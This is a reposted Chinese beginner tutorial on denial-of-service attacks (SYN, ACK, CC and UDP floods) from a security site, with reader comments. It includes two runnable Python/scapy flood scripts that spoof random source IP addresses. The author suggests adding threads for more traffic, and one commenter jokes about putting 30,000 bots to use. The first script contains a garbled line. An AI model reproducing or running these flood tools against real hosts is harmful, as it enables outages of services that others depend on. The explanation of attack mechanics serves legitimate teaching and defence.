CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 百科
  3. 正文

拒绝服务攻击

2017年5月23日 706点热度 0人点赞 0条评论
  • 首页
  • 分类阅读
  • 文库
  • 专栏
  • 公开课
  • 商城
  • 漏洞盒子
注册 | 登录
投稿

【新手指南】浅谈拒绝服务攻击的原理与防御(1):普通拒绝服务攻击

黑戈爾2017-02-16+17共320799人围观 ,发现 28 个不明物体新手科普网络安全

普通拒绝服务攻击是指一些传统的攻击方式,如:SYN FLOOD攻击、ACK FLOOD攻击、CC攻击、UDP  FLOOD攻击 等等,下面会详细介绍。

SYN FLOOD攻击

Syn flood攻击是利用TCP协议的一些特性发动的,通过发送大量 伪造的带有syn标志位的TCP报文 使 目标服务器连接耗尽,达到拒绝服务的目的。要想理解 syn flood的 攻击原理 必须要先了解TCP协议建立连接的机制。TCP(Transmission Control Protocol  传输控制协议)是一种面向连接的、可靠的、基于字节流的传输层 通信协议。在TCP/IP协议簇中,TCP层是位于IP层之上,应用层之下的中间层。不同 的主机的应用层之间通信,通 常需要可靠的、像管道一样的连接,但是IP层(网络层)不提供这样的可靠字节 流机制,而是提供不可靠的数据包交换。因为TCP是可靠的传输方式,所以 在通信之前需要建立连接,TCP建立连接的方式就是著名的TCP三次握手(如图3-1-1) :

图片1.png

syn flood攻击就是在三次握手机制的基础上实现的。攻击者通过伪造IP 报文,在IP报文的原地址字段随机填入伪造的IP地址,目的地址填入 要攻击的服务器IP地址,其他TTL、ID 以及TCP中的Source Port等随机填入合理数据,TCP的目的端口填入目的服务器开放的 端口 如:80、8080等,syn标志位置 1。然后通过不停的循环讲伪造好的数据包发送 到目的服务器。样本如图3-2、3-3:

图片2.png

图片3.png

可以看到目标主机建立了很多虚假的半开连接,这耗费了目标主机大量的 连接资源。可以想象如果成千上万台“肉鸡 ”对一台服务器发动syn flood攻击威力将是非常强大

ACK FLOOD攻击

ack flood攻击同样是利用TCP三次握手的缺陷实现的攻击, ack flood攻击利用的是三次握手的第二段,也就是TCP标志位syn和ack都置1,攻击主机伪造海量的 虚假ack包发送给目标主机,目标主机每收到一个带有 ack标志位的数据包时,都会去自己的TCP连接表中查看有没有与ack的发送者建立连接 ,如果有则发送三次握手的第三段ack+seq完成三次握手,成功 建立TCP连接。如果没有则发送ack+rst 断开连接。但是在这个过程中会消耗一定的CUP计算资源,如果瞬间 收到海量的syn+ack数据包将会 消耗大量的cpu资源使得正常的连接无法建立或者增加延迟,甚至造成服务器瘫痪、死机。如图:

图片4.png

攻击开始前:

图片5.png

攻击开始后:

图片6.png

理论上目标主机的TCP连接越多ack攻击效果越好,所以如果syn flood与ack flood配合使用效果会更明显。

实现代码如下(我是用scapy写的,单线程速度并不快,想要更大流量自行增加多线程):

#-*- coding: UTF-8 -*- 
import socket
import struct
from scapy.all import *
from scapy import all
import random
print"SYN/ACK FLOOD"
 
mode=input("SYN or ACK (0 or 1):")
if mode==0:
	flag=2
elif mode==1:
	flag=18
else :
	print"BUG "dip=raw_input(str("输入目的地址:"))
dp=input("目的端口: ")
sip1=raw_input(str("源地址(随机请输入 R ):"))
sp1=raw_input(str("源端口(随机请输入 R): "))
while 1:
	if sip1=="R":
		iprandom=random.randint(0,4000000000)
		sip=socket.inet_ntoa(struct.pack('I',socket.htonl(iprandom)))
		if sp1=="R":
			sp=random.randint(1,65535)
		else:
		 	sp=sp1
	else:
		sip=sip1
		if sp1=="R":
			sp=random.randint(1,65535)
	 	else:
		 	sp=sp1
	t=random.randint(64,128)
	pack=(IP(src=sip,dst=dip,ttl=t)/TCP(sport=sp,dport=dp,flags=flag))
 
	send(pack)

CC攻击

CC攻击全称Challenge Collapsar,中文意思是挑战黑洞,因为以前的抗DDOS攻击的 安全设备叫黑洞,顾名思义挑战黑洞就是说黑洞 拿这种攻击没办法,新一代的抗DDOS设备已经改名为ADS(  Anti-DDoS System),基本上已经可以完美的抵御CC攻击了 。

CC攻击的原理是通过代理服务器或者大量“肉鸡” 模拟多个用户访问目标网站的动态页面,制造 大量的后台数据库查询动作,消耗目标CPU资源,造成拒绝服务。

我们都知道网站的页面有静态和动态之分,动态网页是需要与后台数据库进行交互的,比如一些论坛, 用户登录的时候需要去数据库查询你的等级、权限 等等,当你留言的时候又需要查询权限、同步数据等等,这就消耗很多  cpu资源,造成静态网页能打开,但是需要和数据库交互的动态网页打开慢或者无法打开的现象。

这种攻击方式相对于前两种实现要相对复杂一些,但是防御起来要简单的多,提供服务 的企业只要尽量少用动态网页并且让一些操作提供验证码就能很好的抵御一般的 CC攻击。所以在这我就不在演示CC攻击的效果了。

图片7.png

UDP FLOOD攻击

UDP FLOOD攻击顾名思义是利用UDP协议进行攻击的,UDP FLOOD攻击可以是小数据包冲击设备也可以是大数据包 阻塞链路占尽带宽。不过 两种方式的实现很相似,差别就在UDP的数据部分带有多少数据。相比TCP协议的攻击UDP的攻击更直接更好理解,有一定规模之后更难防御,因为UDP攻击的特点就是打出很高的流量,一个中小型的网站出口带宽可能不足1 G,如果遇到10G左右的UDP FLOOD攻击,单凭企业自身是无论如何也防御不住的,必须需要运营商帮你在上游清洗 流量才行,如果遇到100G的流量可能地方的运营商都 没有能力清洗了,需要把流量分散到全国清洗。UDP FLOOD攻击就像是一块大石头,看着普普 通通的好像跟现代机枪 炸弹不是一个等级的武器,但是如果石头足够大 ,就不一样了。想想恐龙是怎么灭绝的, 陨石不也是块普通的石头吗!在DDOS 防御领域有一句话:能防住的都是简单的攻击,但简单的攻击 不一定防得住。UDP FLOOD正是这种简单有效的攻击方式。

大包攻击:

图片8.png

小包攻击:

图片9.png

下面的代码也是单线程,速度不太快,下一篇文章讲反射DDOS的时候会有多线程的用法。

UDPFLOOD.py
 
#-*- coding: UTF-8 -*- 
import socket
from scapy.all import *
from scapy import all
print "这是一个UDP FLOOD攻击器,源端口源IP随机"
dip=raw_input("输入要攻击的地址:")
dp=input("输入要攻击的端口:")
f=open('./load','r')
while 1:
	size=random.randint(1,2)
	data=f.read(size)
	iprandom=random.randint(0,4000000000)
	sip=socket.inet_ntoa(struct.pack('I',socket.htonl(iprandom)))
	sp=random.randint(1000,65535)
	t=random.randint(50,120)
	packet=(IP(src=sip,dst=dip,ttl=t)/UDP(sport=sp,dport=dp)/Raw(load=data))
	send(packet)

下篇文章讲介绍反射性DOS攻击的相关知识,第一次发文,勿喷啊~~

*本文作者:黑戈爾,转载请注明来自FreeBuf.COM

黑戈爾

黑戈爾8 篇文章等级: 5级
|
|
  • 上一篇:一款轻量级Web漏洞教学演示系统(DSVW)
  • 下一篇:暴风影音AviIndexChunk字段堆溢出漏洞分析实战

这些评论亮了

  • 低轨道离子炮回复
    嗯,因为发了这篇文章,所以今天都拿freebuf测试了?
    )9(亮了
发表评论

已有 28 条评论

  • 屌丝绅士 (4级)做自己的自己 和平年代的炮灰,战争年代的爆破鬼才 2017-02-16回复1楼

    不错,晚上有事情干了

    亮了(5)
  • shyixiu 2017-02-16回复2楼

    哈哈,服务器抽风

    亮了(3)
  • 我可爱的蕾米莉亚 2017-02-16回复3楼

    502 Bad Gateway

    亮了(1)
  • 低轨道离子炮 2017-02-16回复4楼

    嗯,因为发了这篇文章,所以今天都拿freebuf测试了?

    亮了(9)
    • 黑戈爾 (5级)带上眼镜像教授摘掉眼镜像怪兽的yin 2017-02-16回复

      @ 低轨道离子炮 这么一说我都不敢发后续的(2):反射型DDOS攻击了。。。。。。。

      亮了(1)
      • ArthurKiller (7级)窃.格瓦拉驻FreeBuf办事处 2017-02-16回复

        @ 黑戈爾  大兄弟,以你的智慧和我的帅气,搞个中国版V-DOS还是有可能的,哈哈!
        http://www.freebuf.com/special/107119.html
        http://www.freebuf.com/news/107916.html

        亮了(2)
      • power_h (1级) 2017-02-17回复

        @ ArthurKiller  我要是写一篇mirai搭建的文章FB会通过吗?

        亮了(2)
  • 厦门-Robert (1级) 2017-02-16回复5楼

    效果怎么样?是不是拿FREEBUF练习了?502啦!

    亮了(2)
  • Fr3es0ul 2017-02-16回复6楼

    一看作者对HTTP Flood的解释,就120%确定是绿盟的人…

    亮了(5)
    • 黑戈爾 (5级)带上眼镜像教授摘掉眼镜像怪兽的yin 2017-02-16回复

      @ Fr3es0ul 我曹!把我家底看光了

      亮了(1)
      • Fr3es0ul (1级)可能是网安界实况8踢得最好的工程师了! 2017-02-17回复

        @ 黑戈爾  兄弟,你那CC的PPT页,我在11年时候就见过了……

        亮了(2)
    • KingSeco (2级) 2017-02-16回复

      @ Fr3es0ul 哈哈,这个跟绿盟有什么关系

      亮了(2)
      • Fr3es0ul (1级)可能是网安界实况8踢得最好的工程师了! 2017-02-17回复

        @ KingSeco  绿盟销售和售前在介绍ADS的时候经常吹牛逼说原来黑客都研究怎么拿下ADS(原来叫Collapsar),所以叫Challenge Collapsar,也就是CC。

        亮了(4)
  • 白骨夫人 (3级) 2017-02-16回复7楼

    6666666666666666666666

    亮了(2)
  • 恬浪 (1级) 2017-02-16回复8楼

    绿盟人啊!

    亮了(3)
    • 黑戈爾 (5级)带上眼镜像教授摘掉眼镜像怪兽的yin 2017-02-16回复

      @ 恬浪  以前是

      亮了(2)
      • 恬浪 (1级) 2017-02-16回复

        @ 黑戈爾  哈哈,那就是绿离子了,跟着学习学习

        亮了(3)
  • UNKNOW USER 2017-02-16回复9楼

    看后顿时感觉手头上的3w台肉鸡有了用武之地。

    亮了(2)
    • 黑戈爾 (5级)带上眼镜像教授摘掉眼镜像怪兽的yin 2017-02-17回复

      @ UNKNOW USER 别急,你这么多肉鸡或许有更大用处,甚至是开创性的用处

      亮了(3)
  • Lee 2017-02-17回复10楼

    截图是绿盟产品ppt

    亮了(1)
  • dalao大屌 2017-02-17回复11楼

    TIMI :wink:

    亮了(2)
  • Bin狗 (1级) 2017-02-17回复12楼

    可以 讲的很好 以前只能算了解 现在可以上手写一个了 :mrgreen:

    亮了(3)
  • an_time (2级) 2017-02-20回复13楼

    不错,讲的很详细

    亮了(0)
  • FreeDebug (1级) 2017-03-30回复14楼

    首先赞一个
    楼主,第一个TCP Flood攻击那个报文图是不是有些问题。图报文里回复的不是SYN+ACK,而是RST+ACK报文。

    亮了(0)
    • 黑戈爾 (5级)带上眼镜像教授摘掉眼镜像怪兽的yin 2017-04-07回复

      @ FreeDebug  您说的对,其实应该是syn+ack才对,可能当时做的有些错误

      亮了(0)
  • NS-BBOS 2017-04-05回复15楼

    为啥你一直要用绿盟培训的ppt当做原创?

    亮了(2)
    • 黑戈爾 (5级)带上眼镜像教授摘掉眼镜像怪兽的yin 2017-04-05回复

      @ NS-BBOS 因为我是在绿盟学会的这些

      亮了(0)
  • TNT001 (1级) 2017-04-26回复16楼

    厉害了 我的盟

    亮了(1)

必须您当前尚未登录。登陆?注册

必须(保密)

表情插图

取消

黑戈爾

黑戈爾

带上眼镜像教授摘掉眼镜像怪兽的yin

8 篇文章44 条评论

相关阅读

  • 2013-2014年度DDoS攻击威胁报告
  • 托FBI的福,DDoS攻击服务已合法化!
  • 云计算做数据包分析防御DDOS攻击
  • Tor的恶意应用
  • 观点:没有BAT3级的应急响应中心,互联网公司该如何应对数据泄露事件?

特别推荐

关注我们 分享每日精选文章

不容错过

  • 【已结束】2016 XPwn未来探索盛会图文直播(Live)ArthurKiller2016-08-31
  • 【已结束】2017年GeekPwn年中赛图文直播Sphinx2017-05-13
  • Pwn2Own战报:腾讯、360各显神通,分别秒杀IE、Flash、PDF项目hujias2015-03-19
  • “鑫胖”家的红星3.0系统被曝漏洞,可远程执行任意命令注入bimeover2016-12-07

FREEBUF

  • 免责声明
  • 关于我们
  • 加入我们

广告及服务

  • 寻求报道
  • 广告合作
  • 联系我们
  • 友情链接

关注我们

  • 官方微信
  • 新浪微博
  • 腾讯微博
  • Twitter

赞助商

Copyright © 2013 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号

css.php

正在加载中...

0daybank

标签: 暂无
最后更新:2017年5月23日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me